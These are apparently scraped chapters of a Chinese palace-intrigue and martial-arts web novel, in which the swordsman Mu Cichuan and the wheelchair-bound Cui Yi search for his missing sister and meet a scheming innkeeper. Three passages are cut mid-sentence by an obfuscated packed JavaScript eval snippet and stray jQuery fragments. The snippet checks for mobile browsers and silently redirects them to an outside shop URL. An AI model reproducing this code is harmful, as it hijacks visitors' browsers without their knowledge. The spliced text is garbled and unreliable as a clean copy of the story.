远处的夜色里似有隐隐的哀嚎,宫犬乍吠了一声,哀叫就停止了,万籁归复沉寂。 长生殿内,传来一阵撕心裂肺的咳嗽声,过了很久,才响起幽幽的人语。那人嗓音虚浮,仿佛已久病缠身,道:“他死了。” 潘勖停下手里的动作,跪伏于地,幞头后的长带如同一对玄黑的兔子耳朵,软软地垂在两侧台阶上。 他道:“陛下,三百铁杖,没个不死。” 殿里人静了片刻,道:“你可知道他为什么死。” 潘勖道:“因为他害怕。” 殿里人道:“不错,他胆子太小,刑部的人还没有来,他就已怕得收拾细软想要逃跑。他这样的人,若落在刑部手里,一定会把谢钦的事全说出去。到时候,我们全都自身难保。” 潘勖道:“谢大人有忠君之诚,然而才疏意广,终究活不长。” 他话说完,殿内人又咳嗽起来,然后才接着道:“潘勖,你竟敢这样妄议前朝大臣。” 潘勖那伏成一团的身子忽然抖了抖,发出一串兔子叫般叽叽的笑声,在夜色中听来,让人分外不安。他笑着说:“陛下,小奴不怕。” 殿里人冷笑道:“连那女人也不怕?” 潘勖道:“什么都不怕。” 一粒黑漆漆的东西,忽然从长生殿里滚出来,落下玉阶。 潘勖没有多看,手腕一扣,将那粒东西握在掌心。 那是颗通体青黑、错金铭文的铜符,长短不足一寸,雕刻成只黑兔的模样。 “先帝在时,以青铜虎符调度南衙十二神卫,如今受朕调遣的神卫已寥寥无几,兵符也因与太后属相犯冲,改为兔形。” 天子的声音中透露出长夜般辽远的悲苦,他似乎咬紧了牙道:“眼下,中书省的谋划败露,她们就将要收网,捉朕这只兔子了!” 潘勖却只笑道:“陛下以为,兔子很好捉么?” 天子怔了怔:“你以为不好?” “《齐策》有云,狡兔三窟。”潘勖道,“古来骁士猛将,虽有能逐虎过涧的,却不见有人徒手捉住过兔子。要抓狡兔,首先要有猎犬、猎鹰。” 他顿了顿,才接着道:“而这两样,陛下都已有了。陛下正是猎手,她们才是兔子。” 殿里静了片刻,天子似乎没有理解他的意思。 潘勖于是道:“猎鹰出自巴蜀嘉陵江,猎犬现下正拴在刑部侍郎府。” 浓云散去,天边忽然亮了亮。 天子道:“怎么不带他们来见。” 潘勖道:“鹰犬还未驯服,不宜带来惊扰陛下。还望陛下多等片刻。” “驯服?” “就是杀人。”潘勖又笑起来,“指使他咬死沈侍郎的幕僚,第一给他开荤,第二给谢大人报仇,第三断了他投靠太后娘娘的念想。他便不得不为陛下所用。” 天子道:“你如何指使他杀自己的朋友?” “朋友?”潘勖忽稍稍侧过头来,右边眼珠叫月亮一照,只余一圈绿光,竟是一只假眼。 “陛下以为,那幕僚是怎样拴住他的?” “用骨头罢了。” 穆辞川推着崔疑的四轮车,低头看着那截月光般青白的颈项,心想若将剑锋架在那里,那人会不会就同自己说实话。 他张了张嘴,想要再追问一遍,却听见崔疑首先开口道:“还不说?” 穆辞川终于恼了,把轮椅往前一搡,怒道:“你说你知道阿姊的下落,却不肯告诉我,带着我到处乱跑,还要我说什么?” 他们自从唬住了祝轻尘师徒,离开了那间破酒垆,崔疑便说要带着他去找阿姊,还以手疼为由命他推车。可是走来走去,也都是在雍京城里逛荡。 天色一黑,宵禁一到,四周街巷更都是相同模样,不见半个人影。穆辞川实在急得浑身都冒出热气。 崔疑却似乎看不出他的焦急,手里还端着方才自街边买来的花椒鱼头羹。他回望了穆辞川一眼,向他腰间指了指。 穆辞川伸手在那里一摸,摸出了自己扎在里衣内侧的钱袋子。 哪怕已偷偷掂量过好几遍,他还是不大习惯钱袋鼓鼓囊囊的手感,里面叮当作响的,都是崔疑在鱼池边赠给他的银子。 崔疑淡淡道:“第三颗银子的规矩,这么快就忘了?” 赠银之时,他们曾约定过,到了求他帮忙的那天,他问什么,自己便要答什么。穆辞川也没有想到这天竟真的会到来,而且来得这样快。 崔疑只看着他,补了一句:“你的身世。 ” 穆辞川一下子哽住了。他向前望了望,前面似有坊市,隐约透光;又往后望了望,身后是漆黑一片,不见来路。他背过身去,许久才闷声道:“我不能在外面说。” “你怕被人听到?”崔疑了然,道一声,“跟我来。”便摇着轮椅,驶向他们身前那片朱红的光。 那是座设在里坊的夜市,从外看来还只是间平平无奇的酒楼,坊门一开,便见里面灯火通明、人头攒动,舞乐与叫卖声如地动般滚滚而来,一匹两人高的大骆驼头悬金铃,在人群间缓慢穿行着。盛景不下白日。 崔疑带他挤到集市的中心里。 穆辞川一路推开好几个人的肩膀,喊道:“这里的人不是更多?” “的确。”崔疑也放大了些音量,他将轮椅转过来正对着穆辞川,白衣在花花绿绿的人群中显得格外出尘,他笑道,“但是你听。” 穆辞川都不必竖起耳朵,就听见左边厢是一伙儿商贾把盏推杯、大谈玉石生意,右边厢是两位醉酒的侯王,吹嘘着从太后宫中新得的赏赐。 “这里的人,无论听见什么,都只会当做酒后失言,不会当真。”崔疑道,“但我会相信你。” “我……”穆辞川再也找不出什么逃避的理由,他轻声说,“我不知道。” “不知道?”崔疑歪起脑袋。 “就是不知道。”穆辞川低头盯着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609353|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鞋尖,声音一经发出,就消散在嘈杂的人群里,不知有几分进了崔疑的耳朵,“我生在大理寺的监狱里,没见过父母。那时候有个女官经常到狱里下传文书,就是我阿姊。” 他挑眉瞄了崔疑一眼,见对方只是看着他,等他说下去。 他于是接着道:“阿姊对我很好,总是从宫里带点心给我吃。我被指认为天狗煞的时候,也是阿姊救下了我。” “天狗煞?”崔疑蹙起眉,表情好像有些哭笑不得。 “是国师说的。”穆辞川似也有点犹豫,“我不知道他叫什么。有一天晚上,没有月亮,他带兵到大理狱,说我是天狗煞,是灾星,说是我克死了那时候的皇上和太子。” “天狗食月。”崔疑非常严肃地道,“没看出你还挺会编故事的。” “我没有瞎说!”穆辞川道,“这些疤——” 他指指自己的脸,铁铠下的创疤,崔疑历历在目。 “就是他砍的。”他说。 崔疑的眉微微拧起来。 穆辞川接着道:“后来这事闹大了,圣人说是大理狱沾染了邪祟,要杀我的头,阿姊就带我逃了出来。” “我们出了雍京,投了运河,一路顺流到幽州,找到间食肆打短工,久了便寄住下来。这是十二年前的事了,我的大名,也是长姐那时给取的。” 一舟入川,山河辞别,他叫穆辞川。 崔疑听他讲完,道:“没有了?” 穆辞川道:“没有了。” 崔疑又道:“是真话?” 穆辞川道:“真的。” 他并不觉得自己出身什么蹊跷,死囚牢这样的地方,出现几个弃婴是最正常不过的事情。可他此时却分明从崔疑那雾茫茫的双眼中看出了深远的狐疑与恨意。 崔疑说:“那么你知不知道,大理狱有个别称,叫做''三品院'',也就是只扣押三品以上的高官。” 穆辞川为何会生在这样的监狱里?他是谁家的孩子? 他的长姐穆月出,既曾在嘉陵派学剑,又为何要来京城当女官? “也罢。”眼见穆辞川答不上来,崔疑揉一揉眉心,再睁眼时,眼底已又只剩死人般的无神,他道,“我请你喝酒。” 他说着,调转轮椅便要进酒楼。 穆辞川道:“等一等。” 崔疑道:“嗯?” 穆辞川正色道:“我知道的已都跟你说了,现在轮到你告诉我,我阿姊在哪里。” 崔疑却忽然笑了笑,他笑得很漂亮,但在穆辞川看来却只觉得扎眼。他笑着说:“我也不知道。” 穆辞川愣了愣,道:“什么?” 夜市里愈发拥挤,几个提芙蓉灯的少女从他们之间穿插而过。穆辞川于是看不清崔疑的神情了,只隐约听见他道: “我骗你的。不然你怎么会肯同我说真话。” 穆辞川只觉得气血上涌,拨翻那些花灯,两个健步就挤到崔疑身前,双手提起那对雪白的衣襟,音量盖过了不远处厚重的驼铃。 他喝道:“你是不是从来没有挨过打?” 9. 不小心把脑子打坏了 穆辞川一声吼完,整个集市都静了三分。 他们两人的周身一下子空旷了,行人围作一圈,欲看当街打瘸子的戏码。 崔疑就这么被提着,只穿一件单衣,浑身又凉又滑,双脚垂在地面,如同一条死鱼。 穆辞川也并不比他体面,面铠虽已重新覆在脸上,蚕丝亵衣却早刮烂了,不能蔽体,只好套着崔疑的外袍,看起来不伦不类。 他们僵持良久,直到崔疑露出一个带着酒窝的笑。 “先别生气。”他笑道,“我虽不知道你姐姐在哪里,却的确能让你见到她。” 穆辞川道:“我不会再上你的当了!” “你难道还没想明白么?”崔疑缓缓道,“寄去嘉陵的断指,本就是为了惹你现身。你什么都不必做,只要到人多的地方晃两圈,他们自然会找上门来。而这里就是雍京城人最多的地方了。” 话音未落,果然听见底下有个年轻的声音叫道:“子慎哥哥?” 是扶摇。 他捧着块吃到一半的胡麻饼,满脸惊诧地出现在人群里。 众人见来了劝架的,便都很失落地散去。穆辞川也只好松了手,扑通一声,把崔疑丢回四轮车。 “你做什么呢!”扶摇两步赶上来,将车挡在身后,瞪着穆辞川。 我正要揍他!穆辞川刚欲发话,便听崔疑首先道: “我们在比身高。” 穆辞川只气得脑子里嗡嗡得响。 扶摇狠狠地剜了他一眼,就回过身去对崔疑道,“子慎哥哥,你到哪里去了?我昨天搬了衣食用品去找你,见你们两个睡在床上,一天一宿也没有醒。今早再端早饭进去,就看见床上空了,都不知道你们是什么时候走的。我还以为是你长出腿来跑了,今日在城里找了一整天,也没找见你们人。这会儿实在饿得不行了,只有这里还能买到吃的。这里东西怎么这么贵,一张胡饼要了我二十个铜板……” 他话太密,穆辞川的脑子响得更厉害了。 崔疑瞥了他一眼,轻笑道:“来的正好。” 还没容他接着说下去,穆辞川就听见了一串闷雷般的巨响,随后坊中的人群就炸开了锅。 穆辞川往响处一侧目,便见那头金灿灿的大骆驼竟似发了狂,张着獠牙,摇着脖颈,四蹄乱蹬,撞飞四周行人,摧枯拉朽地向他们三个倒来。 “快躲!”穆辞川当即踢出一脚,踹在崔疑的车轮上。崔疑便连人带车转了两圈,撞进一旁的抹茶铺里,额角磕得乌青。 穆辞川扫他一眼,小仇得报,心里略略痛快了一些。他又看向扶摇,见对方已拔出钢刺,忙又道:“不要惊了它!”将少年也搡到一边去。 市井之间,只剩他独自一人面对这头发狂的骆驼。穆辞川将剑鞘倒挟在肋下,摆开马步,看准那只近在咫尺的大驼铃,拧腰刺出一剑。 剑柄裹着黑布,钟杵般撞上金铃,嗡鸣顷刻间便将他的虎口震得裂开细纹。骆驼的力气比他大得多,颓山般倾轧而去。顶得穆辞川连退了十几步,靴子抵在坊墙根上。 崔疑在抹茶铺里叫了声:“你……!” 穆辞川没有理他,沉肩坠肘,力透剑脊,身前的驼铃发出一声旷远的回响,身后的黄土坊墙裂出一道三尺长的深缝。骆驼就如同被天闪击中一般,从头至尾打了一个哆嗦,四腿一屈,倒在地上,吐出大团白沫。 穆辞川喘着粗气,立在金黄的断墙与金黄的驼峰中间。方才还乱如沸鼎的集市,此刻安静得可以听见几条街外的打更声。 “这是谁家的骆驼!怎么不知道拴好?”扶摇回过神来,一面冲进铺子里扶崔疑,一面怒声问道。 “哎呦!哎呦!”人群间忽传来这样一连串的惊叹,随后一个矮个子的清瘦男人挤开众人,冲到穆辞川面前,赔笑道,“多谢大侠,多谢大侠!我怎么就没看住这畜牲,都怪我,都怪我!” 他一边说,一边拱着手连鞠了七八个深躬。 这边躬完,他又跑到崔疑和扶摇面前拱手道:“实在对不住,实在对不住!” 穆辞川一直盯着那个男人。他有一张小脸,颊上点着几颗浅浅的小斑,唯有一只右眼泛着奇异的碧光,看着像颗假眼。他穿件松叶色的袍子,脑袋上扎着黑幞头,交脚长得出奇,垂在背后,像一对兔子耳朵。 穆辞川收起剑,道:“这是你的骆驼?” “正是,正是!”矮个男人已揽着崔疑走过来,往那还瘫软于地的骆驼峰上踹了两脚,骂道,“死畜牲,到处发疯,这就把你宰了,煎来招待几位大侠!” 穆辞川说:“举手之劳,不要客气。” 崔疑说:“要客气的。” 穆辞川皱起眉,手底下扯了扯崔疑的衣角。 “我都受伤了。”崔疑指指自己额头上的淤青,又指指怀中的空碗,鱼头羹已都泼洒在他的衣摆上,“羹也没有了。叫他赔一赔难道过分吗?” “不过分,一点儿也不过分!”矮子哈哈笑起来,抱拳道,“小人姓张,单名一个勉,平日在这里做酒饭生意。三位大侠今日替我教训了这贱畜,若不嫌弃,就到我那里喝上两杯,算作答谢,怎么样?” “不用……”穆辞川还要拒绝,却已被张勉抓着手,往集市尽头一座高大的朱楼里拖去。 酒楼高逾百尺,灯火辉煌,其上人潮涌动,一点不比集市冷清。 张勉把他们安置在一张高桌前,招呼陪侍摆上葡萄酒、蜜淋蟹、炙羊舌。穆辞川活了二十多年,从没见过这样好的菜色。 “别客气,别客气!”张勉给他们斟满酒,连劝了三四盏。崔疑来者不拒,穆辞川和扶摇便也都只好一同饮下。张勉又道:“诸位先慢用,后厨还有一道硬菜,我去看看火候,片刻就回,片刻就回!” 话音没落,就跟个闲不住的兔子似的蹦走了。 “他这人好奇怪。”扶摇望着他的背影,不禁慨叹。 “我看不对。”穆辞川想了想,道,“做买卖的,哪儿能让人白占便宜?恐怕他一会儿就要说我们打坏了他的骆驼,要讹我们钱。” 这样的亏,他在雍京也吃过两三次了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609354|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他于是伸手拍了拍崔疑的肩膀:“我们还是趁现在走吧。” 崔疑扶着酒盏,低着头,一时没有答话。 “快走吧。”穆辞川又催了一遍,“他没有这么好的心肠。” 崔疑仍是没有动作。穆辞川低头瞧了他一眼,才发觉他的脸色竟然已变得非常难看。 “你怎么了?”他往崔疑手上一摸,感到那五根手指全都紧紧地绷着。扶摇也觉察出不对,叫了声:“子慎哥哥?” 崔疑的嘴唇颤了颤,唇色已是铁一样的白,额头的淤青倒是变得异常鲜红。他死死盯着面前的酒盏,许久才轻声道:“头晕。” 坏了!穆辞川心中一震。他知道人碰伤脑袋后,常常一时之间并无大碍,过上半晌才会忽然头脑出血、中风倒地。 他为出气而踢的那一脚,似乎踢坏了崔疑的脑子。 穆辞川来不及愧疚,手忙脚乱地翻出一颗大风药丸,喂到崔疑唇边,道:“快吃下去,可以止血!” 崔疑张了张嘴,可仿佛已失去了咀嚼的力气。穆辞川刚一松手,药丸就滚落到了地上。崔疑的人也倒在那盏葡萄酒边。 扶摇一下子蹦起来:“我去找大夫!”折身奔到门口,竟也忽然停下步子,捂住脑袋,倚着门框慢慢地滑下去。 “你……!”穆辞川怔住。扶摇没有撞伤过脑袋,为何也会昏倒? 他的目光落在那几盏葡萄美酒上。 朱红的酒浆盛在琥珀盏里,莹莹放光,所配的酒壶则是纯金的,提手雕刻成一只长尾的细犬。穆辞川忽然一探手,将桌上三人的酒盏尽数抄起,残酒全泼在地,随后翻掌按住了剑柄。 剑还未容出鞘,张勉的声音便在他身后阴恻恻地响起来。 他似乎是在笑着说:“好酒好菜,大侠何苦要掀桌子呢?” 穆辞川双眉紧锁,与狰狞的面铠呈现出一样的怒色。他冷睨向他,哑声道:“你在酒里放药。” “乌草养心,黄精安神。”张勉缓缓绕行至他面前,手中已端了一只覆有锦缎的八曲水晶碟。 他将碟子放在桌上,又提起那只犬形提梁的酒壶来,在犬尾处轻轻拨动,鎏金的狗尾巴随之上下旋转。竟是一处机关。 “望仙台所制珍犬转心壶,犬尾下垂时,倒出来就是美酒;尾巴上扬,则是眠药。” 他就是以此方法,迷昏了崔疑与扶摇。 穆辞川握剑的手指发出咯吱咯吱的尖响,他咬着牙道:“你要多少钱。” “钱?”张勉挑挑眉,那只假眼睛琉璃珠般地在眼眶里转,笑道,“我看起来难道比你缺钱?” “……那你要什么。” “朋友。”张勉将身一倚,坐在桌面上,又捧起那只玉盘来,比划道,“江湖行走,重在广结善缘。我如今不过是想和大侠交个朋友。这盘中是御用珍品,只此一份,专献给大侠。” 那张尖尖的小脸上,十几只斑仿佛都随着他的笑纹在四处乱颤,他将蒙着绸缎的盘子举到穆辞川面前,道:“大侠快打开尝尝吧。” 10. 荔枝!好吃! 崔疑与扶摇仍然各自晕倒在原处,没有半点转醒的迹象。侍从来来往往,经过他们时,也只是稍稍侧身加以避让,将他们当成醉酒的客人。 穆辞川掌中按剑,只用狭长的眼角便能瞥见几个持短棒的打手在墙角逡巡。 雍京的大酒楼向来黑白通吃,在此处火拼,占不到便宜。 他的目光于是又回到张勉手中的玉盘上,覆盘的绸缎拱成球形。嘉陵派的金匣里装着断指,这只玉盘中也难保盛的是谁的眼珠子。 他深吸口气,一把扯下锦缎,一束柔光自其下发出。盘里装的不是人眼,而是一只一寸大小的白丸,莹润透光,外皮上没有半个黑点。 穆辞川皱起眉:“这是什么意思?” “茂州荔枝。”见他不认识这东西,张勉笑着介绍起来,“这样寸来大一颗,从岭南运来,单是快马就要累死十几匹。侍郎府的走狗可没有这样好的口福。” 穆辞川瞥他一眼,冷声道:“你拿走,我吃不惯。” 雍京城没有白吃的筵席。这等珍果,若是不明不白咽了,还不知要付出什么代价。 “大侠怕什么?”张勉眯了眯眼,凑到穆辞川身前来,“我想同大侠交朋友。朋友之间,自然是有往有来、投桃报李。日后也少不了大侠担待。” 说至此时,他那张很尖窄的小脸已几乎贴在穆辞川的面铠上。他压低声音,讲了一句穆辞川此时最想听到、也最不想听到的话。 “我这里还有些月出姑娘的消息。你若吃了,我便告诉你。” 说来也奇。穆辞川只身在雍京找了姐姐三个月,不曾打听得半点口风;认识崔疑不到三天,身边出现的就好似全都是阿姊的熟人。 他于是终于知道崔疑的话是对的。这座城中,有人在用阿姊引他现身。 而面前这个黑兔般狡黠的小矮子,便是他们放出的一枚钩。 有钩自然有饵。就像那对嘉陵派的师徒为几根断指千里追袭一样,穆辞川也有见到了便一定会咬上一口的诱饵。 他忽然伸出手,捉起那颗珍珠似的大荔枝,囫囵个塞进嘴中,含在一侧的腮帮子里。 随后就这么鼓着脸,瞪着张勉,大声道:“你豁清苦!” 倘若张勉开出什么付不起的条件,他就将荔枝吐出来,还给他,大不了给他擦干净就是了。 隔着面铠,张勉没有看清他的把戏,只道:“我做生意的,消息总要比常人灵通。我知道穆月出是你姐姐,也知道她如今遭人陷害落了难。” “是谁陷害她?” “远在天边,近在眼前。”张勉没有回答,双眼一转,瞳仁盯上桌边白衣的男人。 “不可能!”穆辞川一急,险些将荔枝咽下喉咙,“我们先前素不相识,他根本不认识阿姊。” “素不相识?”张勉忽然伸出胳膊,小树枝般细瘦的五指向着穆辞川胸襟里一探,掏出了那只线编的五彩长命鸟。 五色彩绦,与天子殿前的长命缕别无二致。 “放开。”穆辞川拍开他的手,夺回线鸟。 张勉那双又圆又乌的眼睛盯着他,正色道:“要真是素不相识,他会因为一只玩偶小鸟就缠着你不放?” 穆辞川一时没答上话来。 张勉凉凉地笑了一声,又提起酒壶,对着窗外的明月自斟自酌了一盏,喃喃道:“十二年前雍京城有个传言,说西蜀来了个女子,武功登峰造极,天下无对。” “听说她的名字是出自王摩诘的名句,月出惊山鸟,叫做''月出'',用以形容她的剑法瞬息变幻、无形无影。” 穆辞川看着他,等他说下去。 “这样的人才,当然要为朝堂所用。”张勉接着道,“听说她后来替宫里做起了暗杀的活计。刑部风光最盛的几年,搅得雍京城不得安宁,有人请她出手,把刑部衙门整个端了。” 穆辞川道:“你有证据?” “江湖传闻,哪儿来的证据。不过刑部的尚书、侍郎、主事,一夜之间死了个干净,倒是真的。衙署从此一蹶不振,直到如今归附太后,才稍稍有了些起色。” “……” 张勉挑了挑眉,又道:“刑部那群毒蛇,恨她恨得牙痒,怎么会许你去救她?依我看,根本就是他们设下陷阱,要找她报仇的。说不准月出姑娘现在正关在沈绣的府邸里呢!” 他说到这里,眼神又一个劲地往崔疑身上瞟。 穆辞川沉默片刻,哑声道:“你干嘛对我说这些。” “我们是朋友嘛!”张勉朗声笑起来,“我这个人空有一腔热血,却没什么本事。替月出姑娘主持正义的事,还要仰仗大侠。” 他伸手过来,像拍一只猎犬的头颅一样,拍了拍穆辞川的面铠,道:“我能帮到大侠的,已都在这里啦。” 穆辞川还想再问。张勉却已跳下桌子,甩着那两根幞头交脚,折身走了,只留下一句:“他们两个等一觉睡醒,自然无事——我可不敢动侍郎府的人!” 知他没有再开口的意思,穆辞川不再去追,盯了他一会儿,便回身将崔疑的身子扶正,又去门边拾起扶摇来叠在他身上,用一辆轮椅推着两个人出门去了。 他循着月光,一路回了崔疑的小宅。刚把扶摇搁在榻上,要去院子里搬白衣美人时,就感到口中一股清甜。 是那颗荔枝被他不慎咬碎在口腔里。他不禁停了动作,立在原地,慢慢咀嚼起果肉。 果然是千金不换的珍馐。丰腴多汁,甜胜黄糖,就连颜色都比面前人的白衣更加皓洁。 他望着崔疑,嚼着荔枝,满口清甜中却忽然弥漫起一片极苦。 穆辞川惊了一下,察觉嘴里有个异物,吐在掌心,见是一枚又黑又硬的铜符,雕刻成青兔形状,兔背上刻着几个烫金的画字。竟是一枚兵符。 那颗荔枝里面,竟然藏着一枚兵符。 这是张勉故意留给他的吗?它难道可以调动兵马?他想让他用这些兵马做什么? 穆辞川的脑子一下子变得同他的味蕾一样混沌,手指在铜兔背上碾了碾。一阵乱风从小院间腾起。 就在这时,他听见身前传来一声幽魂般的低语。 崔疑说:“给我取件新衣来。” 穆辞川浑身一个哆嗦,翻手将兔符塞进口袋,再看崔疑时,见他仍是闭着眼歪在轮椅里,才稍稍松了一口气。 他说:“你、你醒了?” “一直醒着。”崔疑不动,只道,“我根本没有喝那些酒。” 穆辞川这才注意到他的衣摆,那里的湿痕比打翻鱼羹时更扩大了些,想来是他趁张勉不注意,将葡萄酒都泼洒在了那里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609355|187599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么知道……” “我怎么知道他会在酒里下药?因为一个做西域生意的人,绝不会养那种容易受惊的骆驼。” “那么……”一滴冷汗滑过穆辞川的眉弓,“你都听见了。” “嗯?”崔疑的嗓音中透露出不愉,他这才略抬起头,青灰一片的眸子望着穆辞川,道,“你希望我听不见?” 穆辞川道:“我……” 崔疑却不肯放过他,接着道:“你相信了他的话,怀疑我抓了你姐姐?” “我总要想一想!”穆辞川也有些急了,“若不然,你为什么一直不肯放我走?” “呵。”崔疑呛出一声冷笑。尘埃般的月光飘落在他身上。他阴声道: “穆辞川,我有没有问过,你为什么会带着我长兄的遗物。” 他虽是在问,语气却并不似期待有人回答。 穆辞川怔住了。 他的嘴僵硬地张开,手却一下子不知道该放在哪里,上下挥舞两次,最终塞进衣襟,翻出了那只小线鸟。 “这种线……” “定州所进金丝锦缕,华贵非常。长兄在尚书台做官时,得到过几尺。”崔疑道,“我小时候不懂事,从家里偷了那些线,给他编了这只长命鸟。” 那是他还能够手脚并用爬上书柜,偷拿家藏宝贝的时候。 穆辞川望着掌心的小鸟。鸟羽烁烁地反射着月光。 “你若还不信,就把它拆开,里面填的应是一块桃花粉玉,本来也要值个十几万钱。”崔疑淡淡地说着,一直盯着穆辞川的双眼在此刻移开了视线,“可惜裂了一道缝,再也卖不上价了。” 穆辞川也顾不得心疼,扒开那些金线,果然见小鸟的心脏处埋着一颗淡粉色的玉珠子,一道白痕贯穿其中,非常碍眼。 这怀玉的鸟,是当年从大理狱死里逃生后,阿姊赠给他压命的东西,不想竟出自崔家。 穆辞川嗓子梗了梗,道:“你哥哥是怎样死的,他是不是被人杀了?” 崔疑道:“我本不知道,但现在知道了。” 穆辞川向前迈了一步,盯着他道:“你以为是阿姊杀了你哥哥,抢走了他的长命鸟?” 崔疑道:“你以为不是?” “是个屁!”穆辞川说,“你又没有证据,凭什么这么诋毁她。你再这样说,我就要说是你绑架了阿姊,为了报复她了。” “随便你。”崔疑慢慢地摇着轮椅,背转身去,凉声道,“你若是不信,可以走。” “你站住!”穆辞川赶上去,一步就跨过了院子中央那口黑漆漆的鱼池,扯住崔疑的轮椅,向后一拖,将一对雪白的车轮卡在泊岸石缝里。 崔疑动不了了。他回过头,瞪着穆辞川,那对雾一般的眼珠,忽然变得很黑很浓,眼角隐隐发着红。 “你不许走。”穆辞川道,“你到了外面,又要乱说阿姊是杀人的凶手!” 崔疑冷笑道:“她是不是凶手,难道靠我说两句话就能决定?她害死我族人,抢走长兄的财物时候,就没有想过会有今天?” 穆辞川神色一变,吼道:“闭嘴!” 崔疑道:“你急了。” “你先闭嘴!”穆辞川忽然劈手捏住了崔疑的嘴唇,屏息半晌,才轻声道,“你听见什么声音没有?” 11. 瘸子爬墙,小狗见鬼 秋风吹过,几串落木般的簌簌声,从屋后传来。 穆辞川往房间里一望,便见睡着扶摇的那张床已经空了。 “你的小跟班跑了。”他又转回头来盯着崔疑,“我就知道,他是那个沈侍郎的眼线。你们刑部没一个好东西。” “那你还不快点走?”崔疑扯开他的手,红着眼睛,“当心沈绣带人来抓你。” “我才不走!我走了,阿姊的罪名就说不清楚了。”穆辞川压了压火气,道,“你哥哥也就弄不明白是怎样死的了。” 他看得出,崔疑虽然脾气古怪、蛮不讲理,却相当在意他的哥哥。 崔疑像鲈鱼一样张了张嘴,发不出声音来。 穆辞川慢慢地松开了手,身躯一颓,挨着那架轮椅,坐在水池边上。 他忽然开口说:“你的家里,想必曾经很有权势。” 崔疑不答。 “你哥哥的死,在当时应当也是一桩大案。” 崔疑点点头。说是点头,其实也只是他的发梢在夜露中稍稍晃了晃。 穆辞川的双眼里闪烁出一点明光。他道:“既然是大案,刑部一定留有卷宗。” 崔疑拧起眉道:“你到底要做什么。” “我们把卷宗拿出来看一看,不就都清楚了!”穆辞川又把身子直起来,抓着崔疑的轮椅,“你查你哥哥的事情,我查阿姊与刑部的事情,我们也算各取所需。” 崔疑瞥他一眼:“你以为刑部的卷宗,是你想看就能看到的?” 穆辞川道:“你不是……” “我不过是个幕僚。”崔疑冷声道,“重案卷宗存在衙署石阁里,受部曲把守,非有三省文书不能查阅。我明里暗里早已去过不知多少次……” 他顿了顿,接着道:“没有一次混得进去。” “你腿不好使,肯定进不去。”穆辞川盯着他,“现在不是有我了么。” “正是因为有你!”崔疑一下子扭过头来,那张漂亮得惊人的脸就忽然填满了穆辞川的视线,使他的头脑像月光下的水面一般,倏然明了一下。 他勉强听见崔疑道:“那个张勉不知道什么来头,要拿你来对付刑部。等扶摇把消息告诉沈绣,他是不会放过你的。你此时去刑部衙门,根本就是自投罗网——你有没有在听?” “我在听。”穆辞川道,“我不怕。” 崔疑道:“人都是死到临头才知道怕的。” “你怕了就不要去,”穆辞川将脖子一梗,豁然站起来,“我一个人就够了。” 他说着,掉头要走,脑后却忽然一阵刺痛,崔疑的手指水蛇般攥紧了他的发根。 他看着他,死水般的瞳仁似乎要将他淹没。崔疑很久才道:“我可不能放你去送死,我还得留着你给兄长报仇。” 月影慢慢地移,秋夜里最冷的时候,穆辞川背着崔疑来到刑部衙门的后院外面。 崔疑本是乘轮椅来的,但车轮滚动,碌碌声实在扎耳,只好把车往街巷里一藏,人卧在了穆辞川背上,探出头来望着身前的墙。 官署是青石砖墙,高逾百尺,厚足一丈,森森地透出寒气。一对碧绿的鸱尾从最高处凌空探出来。 穆辞川也望着墙,低声对崔疑道:“我给你扔到墙头上去,你看看里面的情况。” 崔疑道:“凭什么?” 穆辞川道:“一旦被人发现,我就立刻扯你下来。里面的人见是你这个瘸子爬这么高的墙,都以为自己眼花了,就不再起疑心。” 崔疑连话都不想说了。 穆辞川也不等他回答,一手揪住崔疑的衣领,另一手挽住他的腰,将他整个人携在肋下,助跑几步,一脚登上石墙,随后双臂使劲往上一递,真将他送上了墙头。 崔疑吓了一跳,双手扒着青石,双腿垂在墙外,像一条挂在房梁上的咸肉。 穆辞川在墙根下问:“怎么样?” “……没有人。”墙头上传来崔疑的闷响,“上来。” 穆辞川一跃而上,见到院内都是一样的青石厚墙,迷宫一般,一些殷红散落在院子四处,其中不动的是房檐下的瓦当,缓动的是看门部曲手中的灯火,不过离得都远。 他一纵身,轻轻地落在院内,回首对崔疑张开胳膊道:“下来吧。” 崔疑没动,只轻声说:“我下不去。” “怎么会?”穆辞川皱起眉,“你打个滚就下来了,我接着你。” 崔疑仍不作声。穆辞川笑道:“难道你怕高?” 话一出口,他才明白过来——崔疑腰腿无力,若要下墙只能倒栽,从两三人高的地方栽下来,任谁都要害怕。 而他虽说会在底下接着,却实在长得凶神恶煞,又沾染了杀害人家兄长的嫌疑。 他并不值得崔疑这样信任。 他的双臂僵在半空,慢慢地要缩回去。 